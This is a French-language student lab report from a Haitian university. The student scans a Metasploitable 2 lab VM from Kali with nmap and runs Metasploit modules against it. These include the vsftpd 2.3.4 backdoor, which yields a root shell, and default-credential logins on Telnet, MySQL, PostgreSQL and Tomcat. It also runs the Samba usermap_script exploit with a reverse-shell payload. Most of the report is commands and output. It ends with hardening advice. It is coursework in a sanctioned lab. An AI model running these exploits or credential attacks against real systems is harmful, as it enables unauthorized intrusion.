UNIVERSITÉ DE TECHNOLOGIE D'HAÏTI

UNITECH

Faculté De Génie

Sciences Informatiques

TD N3 –Sécurité Informatique & Cyber sécurité

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Description des résultats de la tâche

Objectif du TD

Ce TD permet de voir après avoir importer Matasploitable dans la machine virtuel et Kali de scanner c'est-à-dire **scan de vulnérabilité** à partir du système d'attaque **KALI,** d'analyser tous les ports **TCP** de 1 à 65535 d'une instance **Metasploitable 2,** la façon d'ont on utilise **l'exploit Telnet** pour profiter de sécurité ou d'une mauvaise configuration du service Telnet afin de prendre le contrôle d'une machine à distance. **L'exploitation du service FTP sur Metasploitable 2, le scanner TCP, MySQL, PostgreSQL, Samba, etc…**

Résultats de l'exécution des commandes

Scan de vulnérabilité

```
root@kali: ~
Session  Actions  Éditer  Vue  Aide
┌──(marckensy㉿kali)-[~]
└─$ sudo -i
[sudo] Mot de passe de marckensy :
┌──(root㉿kali)-[~]
└─# ping 192.168.56.101
PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.
64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 time=2.26 ms
64 bytes from 192.168.56.101: icmp_seq=2 ttl=64 time=1.71 ms
64 bytes from 192.168.56.101: icmp_seq=3 ttl=64 time=6.17 ms
64 bytes from 192.168.56.101: icmp_seq=4 ttl=64 time=1.62 ms
64 bytes from 192.168.56.101: icmp_seq=5 ttl=64 time=9.15 ms
64 bytes from 192.168.56.101: icmp_seq=6 ttl=64 time=3.57 ms
64 bytes from 192.168.56.101: icmp_seq=7 ttl=64 time=1.93 ms
64 bytes from 192.168.56.101: icmp_seq=8 ttl=64 time=1.68 ms
64 bytes from 192.168.56.101: icmp_seq=9 ttl=64 time=1.42 ms
64 bytes from 192.168.56.101: icmp_seq=10 ttl=64 time=5.76 ms
64 bytes from 192.168.56.101: icmp_seq=11 ttl=64 time=6.54 ms
64 bytes from 192.168.56.101: icmp_seq=12 ttl=64 time=1.37 ms
64 bytes from 192.168.56.101: icmp_seq=13 ttl=64 time=3.67 ms
64 bytes from 192.168.56.101: icmp_seq=14 ttl=64 time=2.26 ms
64 bytes from 192.168.56.101: icmp_seq=15 ttl=64 time=2.23 ms
64 bytes from 192.168.56.101: icmp_seq=16 ttl=64 time=2.47 ms
64 bytes from 192.168.56.101: icmp_seq=17 ttl=64 time=0.926 ms
64 bytes from 192.168.56.101: icmp_seq=18 ttl=64 time=3.05 ms
64 bytes from 192.168.56.101: icmp_seq=19 ttl=64 time=3.83 ms
64 bytes from 192.168.56.101: icmp_seq=20 ttl=64 time=2.41 ms
64 bytes from 192.168.56.101: icmp_seq=21 ttl=64 time=1.32 ms
64 bytes from 192.168.56.101: icmp_seq=22 ttl=64 time=2.15 ms
```

Image 1

```
root@kali: ~
Session  Actions  Éditer  Vue  Aide

┌──(root㉿kali)-[~]
└─# nmap 192.168.56.101
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-25 02:02 CET
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabl
ed. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.101
Host is up (0.00076s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
```

←----------**Image 2**

```
root@kali: ~
Session  Actions  Éditer  Vue  Aide
┌──(root㉿kali)-[~]
└─# nmap -p1-65535 192.168.56.101
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-25 02:03 CET
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabl
ed. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.101
Host is up (0.0015s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
```

Image 3 : Pour analyser tous les ports TCP 1 à 65535

```
root@kali: ~
Session  Actions  Éditer  Vue  Aide
Nmap done: 1 IP address (1 host up) scanned in 99.60 seconds

┌──(root㉿kali)-[~]
└─# telnet 192.168.56.101
Trying 192.168.56.101 ...
Connected to 192.168.56.101.
Escape character is '^]'.

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started
```

Image 4 : Exploits Telnet

```
metasploitable login: msfadmin
Password:
Last login: Tue Feb 24 19:51:55 EST 2026 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i68
6

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ls -l
total 4
drwxr-xr-x 6 msfadmin msfadmin 4096 2010-04-27 23:44 vulnerable
msfadmin@metasploitable:~$ exit
Connection closed by foreign host.

┌──(root㉿kali)-[~]
└─# msfconsole
Metasploit tip: Start commands with a space to avoid saving them to history
```

Image 4.1

```
root@kali: ~
Session  Actions  Éditer  Vue  Aide
┌──(root㉿kali)-[~]
└─# msfconsole
Metasploit tip: Start commands with a space to avoid saving them to history

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%      %%%%          %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%   %%   %%%%%%%%    %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%   %   %%%%%%%%    %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%
%%   %%   %%%%%%    %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%   %%%%%%%%%    %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%   %%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%     %%    %%%%%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%   %%%   %%%%%
%%%%   %%   %%   %        %%        %%      %%%%%        %     %%%%   %%    %%%%%%         %%
%%%%   %%   %%   %   %%%  %%%%   %%%%   %%   %%%%   %%%%   %%  %%   %%  %%%  %%   %%%   %%%%%
%%%%   %%%%%%   %%    %%%%%%    %%%%   %%%   %%%%   %%     %%   %%%  %%%  %%    %%   %%%%%
%%%%%%%%%%%% %%%%      %%%%%     %%   %%    %     %%   %%%%   %%%%    %%%    %%%      %
%%%%%%%%%%%%%%%%%%%
```

```
root@kali: ~
Session  Actions  Éditer  Vue  Aide

       =[ metasploit v6.4.99-dev                          ]
+ -- --=[ 2,572 exploits - 1,317 auxiliary - 1,683 payloads     ]
+ -- --=[ 433 post - 49 encoders - 13 nops - 9 evasion          ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.101:21 - USER: 331 Please specify the password.
[+] 192.168.56.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
e[*] Command shell session 1 opened (192.168.56.102:40413 -> 192.168.56.101:6
200) at 2026-02-25 02:10:42 +0100

exit -y
sh: line 6: exit: -y: numeric argument required
[*] 192.168.56.101 - Command shell session 1 closed.
msf exploit(unix/ftp/vsftpd_234_backdoor) > exit
```

Image 6

```
root@kali: ~
Session  Actions  Éditer  Vue  Aide

msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(scanner/portscan/tcp) > set RHOSTS ip_vul
RHOSTS => ip_vul
msf auxiliary(scanner/portscan/tcp) > set PORTS 22,25,80,110,21
PORTS => 22,25,80,110,21
msf auxiliary(scanner/portscan/tcp) > set THREADS 3
THREADS => 3
msf auxiliary(scanner/portscan/tcp) > exploit
[-] Msf::OptionValidateError The following options failed to validate:
[-] Invalid option RHOSTS: Host resolution failed: ip_vul
msf auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf auxiliary(scanner/portscan/tcp) > exploit
[+] 192.168.56.101        - 192.168.56.101:80 - TCP OPEN
[+] 192.168.56.101        - 192.168.56.101:25 - TCP OPEN
[+] 192.168.56.101        - 192.168.56.101:21 - TCP OPEN
[*] 192.168.56.101        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/portscan/tcp) > exit -y
```

Image 7 : Scanner TCP

```
root@kali: ~
Session  Actions  Éditer  Vue  Aide

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(scanner/portscan/tcp) > set RHOSTS 192.192.56.101
RHOSTS => 192.192.56.101
msf auxiliary(scanner/portscan/tcp) > set PORTS 22,25,80,110,21
PORTS => 22,25,80,110,21
msf auxiliary(scanner/portscan/tcp) > set THREADS 3
THREADS => 3
msf auxiliary(scanner/portscan/tcp) > exploit
[*] 192.192.56.101        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/portscan/tcp) > exit -y
```

Image 8 : Scanner TCP

```
root@kali: ~
Session  Actions  Éditer  Vue  Aide
msf > use auxiliary/scanner/mysql/mysql_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can o
pen an interactive session
msf auxiliary(scanner/mysql/mysql_login) > ser RHOSTS 192.168.56.101
[-] Unknown command: ser. Did you mean set? Run the help command for more det
ails.
msf auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf auxiliary(scanner/mysql/mysql_login) > set USERNAME root
USERNAME => root
msf auxiliary(scanner/mysql/mysql_login) > set PASSWORD root
PASSWORD => root
msf auxiliary(scanner/mysql/mysql_login) > run
[+] 192.168.56.101:3306   - 192.168.56.101:3306 - Found remote MySQL version
5.0.51a
[!] 192.168.56.101:3306   - No active DB -- Credential data will not be saved
!
[-] 192.168.56.101:3306   - 192.168.56.101:3306 - LOGIN FAILED: root:root (Un
able to Connect: invalid packet: scramble_length(0) ≠ length of scramble(21)
)
[-] 192.168.56.101:3306   - 192.168.56.101:3306 - LOGIN FAILED: root: (Unable
 to Connect: invalid packet: scramble_length(0) ≠ length of scramble(21))
[*] 192.168.56.101:3306   - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.56.101:3306   - Bruteforce completed, 0 credentials were successf
ul.
[*] 192.168.56.101:3306   - You can open an MySQL session with these credenti
als and CreateSession set to true
[*] Auxiliary module execution completed
```

Image 9 : MySQL

```
root@kali: ~
Session  Actions  Éditer  Vue  Aide
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf exploit(multi/samba/usermap_script) > exploit
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did
you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Exploit completed, but no session was created.
msf exploit(multi/samba/usermap_script) > exit
```

Image 10 : Samba

```
msf > use exploit/multi/http/tomcat_mgr_upload
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf exploit(multi/http/tomcat_mgr_upload) > set RPORT 8180
RPORT => 8180
msf exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat
HttpUsername => tomcat
msf exploit(multi/http/tomcat_mgr_upload) > set HttpPassword tomcat
HttpPassword => tomcat
msf exploit(multi/http/tomcat_mgr_upload) > exploit
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did
you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying pZCxjVQePN2KpYnfCs...
[*] Executing pZCxjVQePN2KpYnfCs...
[*] Undeploying pZCxjVQePN2KpYnfCs ...
[*] Undeployed at /manager/html/undeploy
[*] Exploit completed, but no session was created.
```

Image 11 : Apache Tomcat

```
[*] 192.168.56.101:5432  - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.56.101:5432  - Bruteforce completed, 1 credential was successful
.
[*] 192.168.56.101:5432  - You can open a Postgres session with these creden
tials and CreateSession set to true
[*] Auxiliary module execution completed
msf auxiliary(scanner/postgres/postgres_login) >
```

Image 12 : PostgreSQL

<u>Conclusions</u>

Le scan des vulnérabilités des ports TCP (1 à 65535) sur l'instance Metasploitable 2 a permis d'identifier plusieurs services exposés et mal sécurisés.
Le scanner TCP a révélé des ports ouverts tels que **21 (FTP)** et **23 (Telnet)**, qui sont connus pour être vulnérables lorsqu'ils ne sont pas correctement configurés.

L'exploitation du service **FTP** a démontré la présence de failles d'authentification et de mauvaises configurations pouvant permettre un accès non autorisé au système.
De même, l'exploitation du service **Telnet** a confirmé que la transmission non chiffrée des identifiants constitue un risque majeur de compromission.

L'utilisation de Metasploit a facilité l'identification et l'exploitation contrôlée de ces vulnérabilités dans un environnement de test.

Ainsi, cette analyse met en évidence l'importance :

- De désactiver les services inutiles
- D'utiliser des protocoles sécurisés (SSH au lieu de Telnet)
- D'appliquer les mises à jour de sécurité
- De réaliser régulièrement des scans de vulnérabilités

En conclusion, Metasploitable 2 illustre parfaitement les risques liés à une mauvaise configuration des services réseau et souligne la nécessité d’une politique de sécurité rigoureuse dans toute infrastructure informatique.